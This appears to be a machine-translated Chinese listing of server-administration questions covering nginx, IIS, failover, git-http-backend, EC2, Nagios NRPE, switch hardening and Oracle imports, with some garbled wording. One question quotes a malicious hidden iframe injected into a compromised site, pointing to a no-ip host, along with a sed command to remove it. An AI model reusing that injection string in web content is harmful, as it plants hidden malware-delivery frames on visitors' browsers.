服务器问题集锦,包括 Linux(Ubuntu, Centos,Debian等)和Windows Server服务器
我有一个ISPconfig和nginx的服务器,有两个域设置。 我在一个域上有一个SSL证书,另一个域上我禁用了SSL,但是仍然可以通过https将其redirect到domain1来访问domain2。 是否有可能使https无法访问域2?
我想提供通过IIS基本身份validation(已经工作)访问我的网站,但我不想给出我的testing人员/预览器操作系统级别login。 这可能吗? 我怎样才能做到这一点? 我基本上只是不希望这些IIS帐户是Windows帐户。 因为那么有没有其他人可能RDP与该帐户?
我有一个虚拟主机不断redirect到本地主机的nginxconfiguration。 我已经testing并重新加载configuration,/ etc / hosts正在做当前的名称parsing,并且已经清除了浏览器caching。 这是我的nginx.conf user www-data www-data; worker_processes 4; pid /var/run/nginx.pid; events { worker_connections 1024; # multi_accept on; } http { sendfile on; tcp_nopush on; tcp_nodelay on; keepalive_timeout 65; types_hash_max_size 2048; include /etc/nginx/mime.types; default_type application/octet-stream; access_log /var/log/nginx/access.log; error_log /var/log/nginx/error.log; gzip on; gzip_disable "msie6"; include /etc/nginx/conf.d/*.conf; include /etc/nginx/sites-enabled/*; } 这是我的idu-lms.mainconfiguration server { root /var/www/wordpress/htdocs; […]
我有一个运行一些服务(邮件,网页,混帐,MySQL …)的Debian服务器。 但是这是孤独的,这意味着如果它破裂,我必须修复它才能访问我的服务。 我想放第二台服务器,如果第一台服务器死了,第二台服务器自动准备就绪。 我不希望任何这台服务器是一个主人,另一个是奴隶。 这个想法是为了防止任何一台服务器发生硬件故障。 我发现了很多有关如何创build一些大型集群的信息,但是我还没有发现任何暗示只有两台服务器的信息。
我尝试过很多不同的方式。 这可能是我设法实现的最好的configuration。 nginx : server { server_name git.domain.com; access_log /var/log/nginx/git.domain.com-access.log; error_log /var/log/nginx/git.domain.com-error.log; include common; location / { fastcgi_pass unix:/var/run/fcgiwrap.socket; # fastcgi_param DOCUMENT_ROOT /home/yuri/git; # fastcgi_param SCRIPT_NAME /1.pl; fastcgi_param DOCUMENT_ROOT /usr/lib/git-core; fastcgi_param SCRIPT_NAME /git-http-backend; include fastcgi_params; fastcgi_param DOCUMENT_ROOT /home/yuri/git; fastcgi_param GIT_HTTP_EXPORT_ALL ""; fastcgi_param GIT_PROJECT_ROOT /home/yuri/git; fastcgi_param PATH_INFO $request_uri; } } 我写了一个脚本来拦截fcgiwrap和git-http-backend之间的数据。 这里是: #!/usr/bin/perl use Data::Dumper; my […]
我最近完成了一个使用EC2进行托pipe的项目,问题是当我终止运行的实例时,它不断启动一个AMI。 我如何防止这种情况发生? 我不'想要任何正在运行的实例。 我查看了文档,并find一个解决scheme(这可能是非常明显的)。
正确的点。 NRPE.CFG修改: 添加Nagios主机允许: allowed_hosts = 127.0.0.1,192.168.1.10 在command_prefix=/usr/bin/sudo前删除了# 之后,我已经重新加载服务。 /etc/init.d/nagios-nrpe-server重新启动 我也编辑过/etc/sudoers #用户权限规范 根ALL =(ALL:ALL)ALL nagios ALL = NOPASSWD:/ usr / lib / nagios / plugins / 运行: $ ./check_users -w 5 -c 10 用户行 – 1个用户当前login|用户= 1; 5; 10; 0 作品,我得到我的结果 运行: su nagios -c“./check_users -c 2 -w 2” 没有任何解决办法。 从Nagios主机到新的远程系统,我可以运行: check_nrpe -H 192.168.1.20 结果我得到了NPRE v2.12 […]
我有开关( HP ProCurve 1810-24G ),它被放置在一个数据中心。 为了保护交换机,它有一个长的密码。 但是,有一个很大的缺点:任何具有IP地址的人都可以访问login屏幕。 虽然这通常不是一个问题,我不喜欢它。 有一些暴力攻击正在进行,谁知道可能会为交换机提供零日攻击。 交换机没有“自动禁止”IP地址的选项,也没有允许IP地址的白名单。 所以,我的问题是:如何保护这个开关比我目前有更好的? 我正在考虑给它一个私人IP地址,但当我的服务器崩溃,我将无法访问交换机(如果我需要出于任何原因)。 什么是这样的最佳做法?
我们正在运行一个Debian服务器,我们有一个恶意软件或其他代码注入。 我知道如何search和replace这个string: <iframe src="http://ingvar2000.no-ip.org/jc/rss.php" width="2" height="2" frameborder="0"></iframe> 我这样做: find /home -type f | xargs sed -i 's$<iframe src="http://ingvar2000.no-ip.org/jc/rss.php" width="2" height="2" frameborder="0"></iframe>$ $g' 我的问题是urlhttp://ingvar2000.no-ip.org/jc/rss.php从文件更改为文件,所以我如何search和replace: <iframe src="ANY STRING HERE" width="2" height="2" frameborder="0"></iframe> 因为宽度,高度和frameborder总是相同的。
我有一个生产数据库的DMP文件,我试图导入到testing环境。 DMP文件导出为exp(完全备份)。 我不再有权访问生产数据库,所以我不能重新导出它。 我试图导入它在11g XE,但它被限制为11GB和转储,导入时,大约11.1GB有一个表,我知道我不需要在DMP文件中的所有行。 如果我删除所有这些行,我将能够导入它就好了。 任何想法最好的办法是什么? 我一直在试图find一个Oracle DMP浏览器几天,没有运气。 在我看来,我可以这样做:1.打开DMP文件的东西,并删除这些行。 (我尝试了一个文本阅读器,不,它不工作)2.不知何故告诉imp不要导入某个表中的所有行。 到目前为止,两种方法都没有运气。 任何帮助非常感谢,谢谢!